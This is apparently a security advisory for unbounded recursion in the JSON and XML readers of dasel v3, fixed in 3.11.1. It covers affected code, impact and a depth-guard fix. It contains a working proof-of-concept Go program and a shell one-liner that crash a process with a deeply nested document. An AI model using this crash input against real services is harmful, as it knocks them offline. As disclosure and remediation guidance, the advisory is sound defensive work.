dasel's JSON and XML readers parse nested structures with unbounded recursion, one
native stack frame per nesting level, with no depth guard. A small (sub-10 MB), deeply
nested document drives the Go runtime past its goroutine stack limit and triggers a
fatal error: stack overflow. This is unrecoverable: it is a runtime fatal error, not
a panic, so a consumer's defer/recover cannot intercept it, the entire process dies.
Both readers are affected; neither has a depth limit, and the JSON reader additionally has no input-size cap (the XML reader caps size at 10 MB but not depth).
github.com/tomwright/dasel/v3 and all v3.x releases through v3.11.0 (current main,
commit abc1e1d). This vulnerability is fixed in 3.11.1. Pre-v3 is out of scope.
parsing/json/json_reader.godecodeValue (line 54) dispatches to the mutually-recursive decodeObject (line 78) and
decodeArray (line 140). Each calls back into both for nested values
(decodeArray→decodeArray at line 151, decodeObject at 163; decodeObject→decodeArray
at 95, decodeObject at 111). Every [ or { in the input adds one stack frame. There is
no depth counter and no len(data) cap anywhere in the reader.
parsing/xml/reader.goparseElement (line 172) recurses at line 211 for every xml.StartElement. The file
declares explicit DoS guards — maxXMLSize = 10_000_000, comment count/length — but these
bound size and comment volume, not nesting depth. The open tag <a> is 3 bytes, so the
10 MB cap still permits ~3.3 M nesting levels, exhausting the stack long before the size
limit fires.
Both are on the primary public read path: parsing.Format(<fmt>).NewReader(opts).Read(data),
with data fully attacker-controlled and no depth validation before the recursion. The same
path backs the dasel CLI (dasel -r json / -r xml). Default reader, no special options.
Go stack overflow is a fatal error, so recover() at the call site does not help.
DoS hardening on the readers is already an accepted concern here, which is why this is a gap
rather than a design choice: the XML reader has the maxXMLSize cap, and the YAML reader
already implements exactly the fix needed, parsing/yaml/yaml_reader.go:31,90-93 returns
ErrYamlExpansionDepthExceeded once expansionDepth > maxExpansionDepth. The JSON and XML
readers simply lack the equivalent depth guard.
Single runnable program, public API only (poc/main.go, module wired to a local clone via
replace):
package main
import (
"fmt"; "os"; "strings"
"github.com/tomwright/dasel/v3/parsing"
_ "github.com/tomwright/dasel/v3/parsing/json"
_ "github.com/tomwright/dasel/v3/parsing/xml"
)
func main() {
mode := "json"; if len(os.Args) > 1 { mode = os.Args[1] }
depth := 6_000_000; if mode == "xml" { depth = 3_200_000 }
var data []byte
if mode == "xml" {
data = []byte(strings.Repeat("<a>", depth)) // ~9.6MB, under the 10MB cap
} else {
data = []byte(strings.Repeat("[", depth) + strings.Repeat("]", depth)) // ~12MB
}
defer func() { if r := recover(); r != nil { fmt.Println("recovered (NOT fatal):", r) } }()
r, _ := parsing.Format(mode).NewReader(parsing.DefaultReaderOptions())
v, err := r.Read(data)
fmt.Printf("Read returned WITHOUT crash: v=%v err=%v\n", v != nil, err)
}
go run . json # nested arrays -> fatal error: stack overflow ; ~85 decodeArray frames
go run . xml # nested <a> -> fatal error: stack overflow ; ~93 parseElement frames
Observed (Go 1.26, default 1 GB goroutine stack):
json depth 6 M (12 MB): runtime: goroutine stack exceeds 1000000000-byte limit →
fatal error: stack overflow; backtrace dominated by json.(*jsonReader).decodeArray.
depth 2 M completes (~0.83 s), confirming it is depth-driven, not a parse error.xml depth 3.2 M (9.6 MB, under the 10 MB maxXMLSize cap): same fatal overflow;
backtrace is an unbroken chain of xml.(*xmlReader).parseElement at reader.go:211.recover() never fires in either case — the process exits.printf '<a>%.0s' {1..3200000} | dasel -r xml.An attacker who controls JSON or XML passed to dasel — via the library Read API, the CLI,
or the parse('json'|'xml', …) selector function — crashes the host process with a single
small document. Because the failure is a Go fatal error rather than a recoverable panic, a
consumer that wraps parsing in defer/recover is still taken down: the whole process
terminates, killing every in-flight goroutine, not just the parse. Availability only — no
confidentiality or integrity impact. For a library consumer feeding network-sourced data to
Read, this is a remotely triggerable, unrecoverable DoS.
Add a recursion-depth guard to both readers, mirroring the YAML reader's existing
maxExpansionDepth / ErrYamlExpansionDepthExceeded pattern:
depth int through decodeValue/decodeObject/decodeArray,
increment on descent, return ErrJSONMaxDepthExceeded past a conservative bound
(e.g. 10 000). Optionally add a maxJSONSize cap matching maxXMLSize for parity.maxXMLDepth constant to the existing Security limits block and thread
a depth through parseElement, returning a normal error past the bound.Both return a clean error for pathological input instead of crashing the process,
consistent with how the comment-count, size, and YAML-expansion limits already behave. A
limit in the low thousands preserves all realistic legitimate documents.
{
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T19:51:07Z",
"nvd_published_at": "2026-09-21T17:17:36Z",
"severity": "MODERATE"
}